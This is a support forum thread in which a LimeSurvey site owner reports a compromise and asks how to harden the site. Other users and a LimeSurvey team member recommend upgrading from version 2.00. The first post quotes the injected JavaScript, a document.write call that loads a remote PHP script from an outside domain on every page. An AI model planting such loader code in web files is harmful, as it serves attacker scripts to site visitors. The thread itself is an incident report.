Bienvenue, Invité
Nom d'utilisateur : Mot de passe : Se souvenir de moi

SUJET : Hack report

Hack report il y a 8 mois 3 semaines #105887

  • Andrea
  • Portrait de Andrea
  • Hors ligne
  • Junior Lime
  • Messages : 33
  • Karma: 0
Our limesurvey site was hacked last Friday by www.21cgreen.co.kr.

What I believe is that they got access to our ftp Server, but I am not sure.

Anyway, almost all .js files in "script Directory" and all template.js files in "template Directory" got infected.

They hacked the .js files by adding following code at the end:

/*1ebf93*/

/*ww0939426w09*/

document.write("<script type='text/javascript' src='www.21cgreen.co.kr/yzQBfqrC.php?id=8928221'></"+ "script>");


/*/1ebf93*/

We discovered the hack because the site was very slow yesterday.

In the meantime we have cleaned all files, changed our ftp Password and changed permission of files in These directories to 444.

Is there anything else we can do to make our site more secure?

Best regards
Andrea
L'administrateur a désactivé l'accès en écriture pour le public.

Hack report il y a 8 mois 3 semaines #105896

  • lowprofile
  • Portrait de lowprofile
  • Hors ligne
  • Junior Lime
  • Messages : 22
  • Remerciements reçus 1
  • Karma: 0
which version of limesurvey are you using?
L'administrateur a désactivé l'accès en écriture pour le public.

Hack report il y a 8 mois 2 semaines #105914

  • Andrea
  • Portrait de Andrea
  • Hors ligne
  • Junior Lime
  • Messages : 33
  • Karma: 0
Version 2.00+ Build 131206

Thank you
L'administrateur a désactivé l'accès en écriture pour le public.

Hack report il y a 8 mois 2 semaines #105916

  • c_schmitz
  • Portrait de c_schmitz
  • Hors ligne
  • LimeSurvey Team
  • Messages : 823
  • Remerciements reçus 116
  • Karma: 93
You should always update to the latest version (2.05) as there were many security issues resolved since 2.0.
Support us, too. Donate to the LimeSurvey project and help keep us going!
L'administrateur a désactivé l'accès en écriture pour le public.

Hack report il y a 8 mois 2 semaines #105918

  • Andrea
  • Portrait de Andrea
  • Hors ligne
  • Junior Lime
  • Messages : 33
  • Karma: 0
I already did, but I have this one Survey running on 2.o Version.

Thank you

Andrea
L'administrateur a désactivé l'accès en écriture pour le public.
Modérateurs: ITEd
Temps de génération de la page : 0.124 secondes
Donation Image